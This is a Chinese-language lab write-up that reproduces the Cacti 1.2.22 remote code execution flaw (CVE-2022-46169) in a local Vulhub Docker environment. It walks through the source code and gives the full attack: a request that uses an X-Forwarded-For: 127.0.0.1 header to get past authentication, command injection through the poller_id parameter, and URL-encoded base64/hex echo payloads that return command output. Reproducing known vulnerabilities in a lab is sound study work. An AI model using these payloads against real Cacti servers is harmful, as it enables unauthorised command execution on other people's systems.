RCE真实漏洞初体验
文章目录
- 1 准备工作
-
- 1.1 搭建环境
-
- 1.1.1 下载与安装
- 1.1.2 创建新图表
- 1.1.3 切换攻击者视角/漏洞复现
- 2 漏洞实操
-
- 2.1 思路
- 2.2 步骤
-
- 2.2.1 拿到payload
- 2.2.2 抓包
- 2.2.3 绕过鉴权
- 2.2.4 `get`传参
- 2.2.5 如何回显?
1 准备工作
文档主要参考
https://github.com/vulhub/vulhub/tree/master/cacti/CVE-2022-46169
1.1 搭建环境
1.1.1 下载与安装
在Vulhub下载cacti漏洞环境
或在github中下载环境
在虚拟机中的 /vulhub/cacti/CVE-2022-46169目录下输入以下命令下载漏洞安装包:
wget https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.22.zip
下载完后用unzip
命令解压
执行以下命令以启动 Cacti 服务器 1.2.22:
docker compose up -d
使用docker images命令发现启动成功
在浏览器输入ip地址加8080端口号进行安装
http://192.168.244.141:8080/
输入默认账户密码
admin进入安装界面
安装成功!成功进入界面
1.1.2 创建新图表
1.1.3 切换攻击者视角/漏洞复现
退出cacti
并且进入到数据库中
查询数据库poller_item
正确显示,环境安装成功。
2 漏洞实操
2.1 思路
GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1X-Forwarded-For: 127.0.0.1Host: localhost.lanUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1
在remote_agent.php中加载相关文件:
指令进入代码之后首先回进入下面这个if函数中
当远程客户端未授权时将会显示“您无权使用此服务”并退出程序,绕过此if鉴权函数时将会进行get传参请求
由于get传递的参数用户可控
我们的命令需要在switch
函数下poldata
的poll_for_data();
执行
在poll_for_data();
该函数中
同步执行三个有一定过滤的请求
$local_data_ids = get_nfilter_request_var(\'local_data_ids\');$host_id = get_filter_request_var(\'host_id\');$poller_id = get_nfilter_request_var(\'poller_id\');
因此get传参action三个数据
由于执行没有回显因此我们需要使用创建文件的命令touch+/tmp/success
,查看该文件是否正常创建
2.2 步骤
2.2.1 拿到payload
我们需要打印payload,所以我们需要抓包!
2.2.2 抓包
在浏览器地址栏输入/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=touch+/tmp/success
获得:
我们需要添加X-Forwarded-For: 127.0.0.1
获取get_client_addr();客户端
2.2.3 绕过鉴权
在remote_agent.php文件中的 $client_addr = get_client_addr();
下插入print_r($client_addr);
获取客户端的值是否为127.0.0.1
在$client_name = gethostbyaddr($client_addr);
下插入print_r($client_name);
打印出是否为hostname值并exit
中断程序
发送
完美符合条件!
在functions.php文件中有关于 get_client_addr函数
function get_client_addr($client_addr = false) {$http_addr_headers = array(\'X-Forwarded-For\',\'X-Client-IP\',\'X-Real-IP\',\'X-ProxyUser-Ip\',\'CF-Connecting-IP\',\'True-Client-IP\',\'HTTP_X_FORWARDED\',\'HTTP_X_FORWARDED_FOR\',\'HTTP_X_CLUSTER_CLIENT_IP\',\'HTTP_FORWARDED_FOR\',\'HTTP_FORWARDED\',\'HTTP_CLIENT_IP\',\'REMOTE_ADDR\',);$client_addr = false;foreach ($http_addr_headers as $header) {if (!empty($_SERVER[$header])) {$header_ips = explode(\',\', $_SERVER[$header]);foreach ($header_ips as $header_ip) {if (!empty($header_ip)) {if (!filter_var($header_ip, FILTER_VALIDATE_IP)) {cacti_log(\'ERROR: Invalid remote client IP Address found in header (\' . $header . \').\', false, \'AUTH\', POLLER_VERBOSITY_DEBUG);} else {$client_addr = $header_ip;cacti_log(\'DEBUG: Using remote client IP Address found in header (\' . $header . \'): \' . $client_addr . \' (\' . $_SERVER[$header] . \')\', false, \'AUTH\', POLLER_VERBOSITY_DEBUG);break 2;}}}}}return $client_addr;}
目前该函数中,client_addr
为X-Forwarded-For
走到foreach
函数中进行循环,header
即为X-Forwarded-For
所以不为空跳到下一层循环,由于127.0.0.1为合法ip所以跳入else,将其赋值给$client_addr
我们可以将其打印出来,这样更清晰的显示出来
在burp点击发送!
成功!
由以上可知我们的hostname就是localhost
由于$client_name
不等于$client_addr
也就是我们的localhost不等于127.0.0.1因此会跳入else
$client_name = remote_agent_strip_domain($client_name);
remote_agent_strip_domain
这个过滤函数只过滤.
因此localhost
会正常返回,返回出来依然是localhost
(此处就不打印出来了)
进入下一个函数
$pollers = db_fetch_assoc(\'SELECT * FROM poller\', true, $poller_db_cnn_id);if (cacti_sizeof($pollers)) {foreach($pollers as $poller) {if (remote_agent_strip_domain($poller[\'hostname\']) == $client_name) {return true;} elseif ($poller[\'hostname\'] == $client_addr) {return true;}}}
$pollers
里的hostname
在数据库表中为localhost
与$client_name
的值localhost
相等因此会返回true
,至此if鉴权函数已经绕过
只要有success,代码即执行成功
查看docker环境中存在success,代码执行成功!!!
2.2.4 get
传参
action
由于是get
传参因此用户可控,当action=polldata
才能触发case \'polldata\'
执行poll_for_data();
代码
function poll_for_data()
函数中
传递了三个参数:
$local_data_ids = get_nfilter_request_var(\'local_data_ids\');$host_id = get_filter_request_var(\'host_id\');$poller_id = get_nfilter_request_var(\'poller_id\');$return = array();
第一行代码传数组
[0]=6
数组只有一个元素6
第二行代码传参1
第三行代码传命令执行如touch
这三个传参有相应的过滤函数
第一个传参没有过滤,由于我们使用的为
get
传参request
请求直接返回值
第二个由于传参为一个数字1
没有单引号,因此不会过滤
第三个
我们可以通过打印查看返回的值
开始遍历
$items = db_fetch_assoc_prepared(\'SELECT *FROM poller_itemWHERE host_id = ?AND local_data_id = ?\',array($host_id, $local_data_id));
,通过第一个if查询到数组为
local_data_id: 6 poller_id: 1 host_id: 1 action: 2 present: 1 last_updated: 2025-07-25 06:10:01 hostname: localhost snmp_community: public snmp_version: 0 snmp_username: snmp_password: snmp_auth_protocol:snmp_priv_passphrase: snmp_priv_protocol: snmp_context: snmp_engine_id: snmp_port: 161 snmp_timeout: 500 rrd_name: uptime rrd_path: /var/www/html/rra/local_linux_machine_uptime_6.rrd rrd_num: 1 rrd_step: 300 rrd_next_step: 0 arg1: /var/www/html/scripts/ss_hstats.php ss_hstats \'1\' uptime arg2: arg3:
第二个遍历
$script_server_calls = db_fetch_cell_prepared(\'SELECT COUNT(*)FROM poller_itemWHERE host_id = ?AND local_data_id = ?AND action = 2\',array($host_id, $local_data_id));
将数组里的action
取出,值为2
。
由于POLLER_ACTION_SCRIPT_PHP
值为2,因此将会匹配到case POLLER_ACTION_SCRIPT_PHP
进入到该case
中进行第一个if
函数
if (function_exists(\'proc_open\')) {$cactiphp = proc_open(read_config_option(\'path_php_binary\') . \' -q \' . $config[\'base_path\'] . \'/script_server.php realtime \' . $poller_id, $cactides, $pipes);$output = fgets($pipes[1], 1024);$using_proc_function = true;} else {$using_proc_function = false;}
通过该代码的
read_config_option(\'path_php_binary\')
取出php
路径执行 /usr/local/bin/php -q script_server.php realtimetouch /tmp/success
2.2.5 如何回显?
关键函数
function is_hexadecimal($result) {$hexstr = str_replace(array(\' \', \'-\'), \':\', trim($result));$parts = explode(\':\', $hexstr);foreach($parts as $part) {if (strlen($part) != 2) {return false;}if (ctype_xdigit($part) == false) {return false;}}return true;}
命令结果必须是16进制,最好是空格隔开!!!
以下三个命令:
|echo \"test\\r\\n`id\" | xxd -p -c 1|awk \'{printf \\\"%s \\\", $0}\'`\"; |echo \"test\\r\\n :`id | base64 -w0`\"; |echo \"test\\r\\n`id |base64 -w0|awk -v ORS=\':\' \'{print $0}\'`\";
将其进行urlenode编码
%7Cecho%20%22test%5Cr%5Cn%60id%22%20%7C%20xxd%20-p%20-c%201%7Cawk%20\'%7Bprintf%20%5C%22%25s%20%5C%22,%20$0%7D\'%60%22;%20
第一种方法有几率不成功
%7Cecho%20%22test%5Cr%5Cn%20:%60id%20%7C%20base64%20-w0%60%22;%20
%7Cecho%20%22test%5Cr%5Cn%60id%20%7Cbase64%20-w0%7Cawk%20-v%20ORS=\':\'%20\'%7Bprint%20$0%7D\'%60%22;%20
输入到burp中!
获得回显
dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSkK
进行base64解码
uid=33(www-data) gid=33(www-data) groups=33(www-data)
成功!!!